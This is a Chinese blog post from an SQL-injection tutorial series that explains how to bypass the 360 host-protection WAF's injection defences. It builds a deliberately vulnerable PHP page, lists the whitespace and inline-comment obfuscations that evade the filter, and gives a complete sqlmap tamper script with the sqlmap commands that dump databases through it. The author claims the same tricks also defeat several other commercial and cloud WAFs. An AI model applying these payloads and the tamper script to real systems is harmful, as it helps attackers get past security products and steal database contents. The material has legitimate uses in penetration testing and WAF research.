• 【SQL注入技巧拓展】————14、Bypass 360主机卫士SQL注入防御(附tamper脚本)


    0x01 前言

      在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势。

    0x02 环境搭建

    Windows Server 2003+phpStudy

    sql注入点测试代码:

    sql.php

    <?php
    $con = mysql_connect("localhost","root","root");
    if (!$con)
      {
      die('Could not connect: ' . mysql_error());
      }
    mysql_select_db("test", $con);
    $id = $_REQUEST[ 'id' ];
    $query  = "SELECT * FROM admin WHERE username = $id ";
    $result = mysql_query($query);
    while($row = mysql_fetch_array($result))
      {
      echo $row['0'] . " " . $row['1'];
      echo "<br />";
      }
    echo "<br/>";
    echo $query;
    mysql_close($con);
    ?>

    运行效果:

    0x03 Bypass 过程

    对不同waf做了一些尝试,关于SQL注入bypass,可以考虑划分为3种:

    • 完全bypass(union select+select from)
    • 部分bypass(union select 或select from)
    • 获取一些敏感信息(如version()、database()等)     

    A、Union+select

    先考虑如何绕过union+select,可以考虑一下几种形式

    • 最常见形式 %20、+、/**/
    • Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 内联注释   /!12345select/

     通过组合测试,可以发现 union%0a/*!12345select*/ 1,2 可以绕过防御。

    B、select+from

      select+from 也可以通过同样的组合形式绕过防御。

      至此已完全绕过union+select+from。

    0x04 自动化注入

    编写tamper bypass脚本,来利用sqlmap来跑数据

    先看一下原始sqlmap的效果:

    sqlmap.py -u  http://192.168.106.130/config/sql.php?id=1  --flush-session --dbs   失败

    加载tamper脚本,可成功获取数据。

    sqlmap.py -u http://192.168.106.130/config/sql.php?id=1 --flush-session  --technique=U --tamper="360safe.py" --dbs

    tamper脚本:

    #!/usr/bin/env python
    
    """
    write by Aaron
    """
    from lib.core.enums import PRIORITY
    from lib.core.settings import UNICODE_ENCODING
    __priority__ = PRIORITY.LOW
    def dependencies():
        pass
    def tamper(payload, **kwargs):
        """
        Replaces keywords
        >>> tamper('UNION SELECT id FROM users')
        'union%0a/*!12345select*/id%0a/*!12345from*/users'
        """
        if payload:
            payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")
            payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")
            payload=payload.replace(" FROM ","%0a/*!12345from*/")
            payload=payload.replace("CONCAT","CONCAT%23%0a")
            payload=payload.replace("CASE ","CASE%23%0a")
            payload=payload.replace("CAST(","/*!12345CASt(*/")
            payload=payload.replace("DATABASE()","database%0a()")
                    
        return payload

    这边主要是针对union select查询进行的关键字替换,测试过程中,可以发现利用tamper脚本来bypass的弊端,sqlmap的部分payload是固定的,部分关键字会被waf拦截,需要一步步调试,总结,测试哪些关键字是被拦截的,如何绕过关键字的检测等,还是挺麻烦。

    0x05 END

    最好的自动化注入工具:可以考虑自己编写一个自动化注入工具,灵活的自定义payload来获取数据库信息。
    目前的测试成果,可成功bypass注入防御,如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf,有些姿势都在用。

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    P2704 [NOI2001]炮兵阵地[状压dp]
    【CRT】中国剩余定理简介
    乘法逆元
    P2921 [USACO08DEC]在农场万圣节[SCC缩点]
    P1967 货车运输[生成树+LCA]
    P2746 P2812 [USACO5.3]校园网Network of Schools[SCC缩点]
    Debian初始化配置
    Linux网桥配置
    Jenkins与Gitlab集成
    Gitlab搭建
  • 原文地址:https://www.cnblogs.com/devi1/p/13486516.html
Copyright © 2020-2023  润新知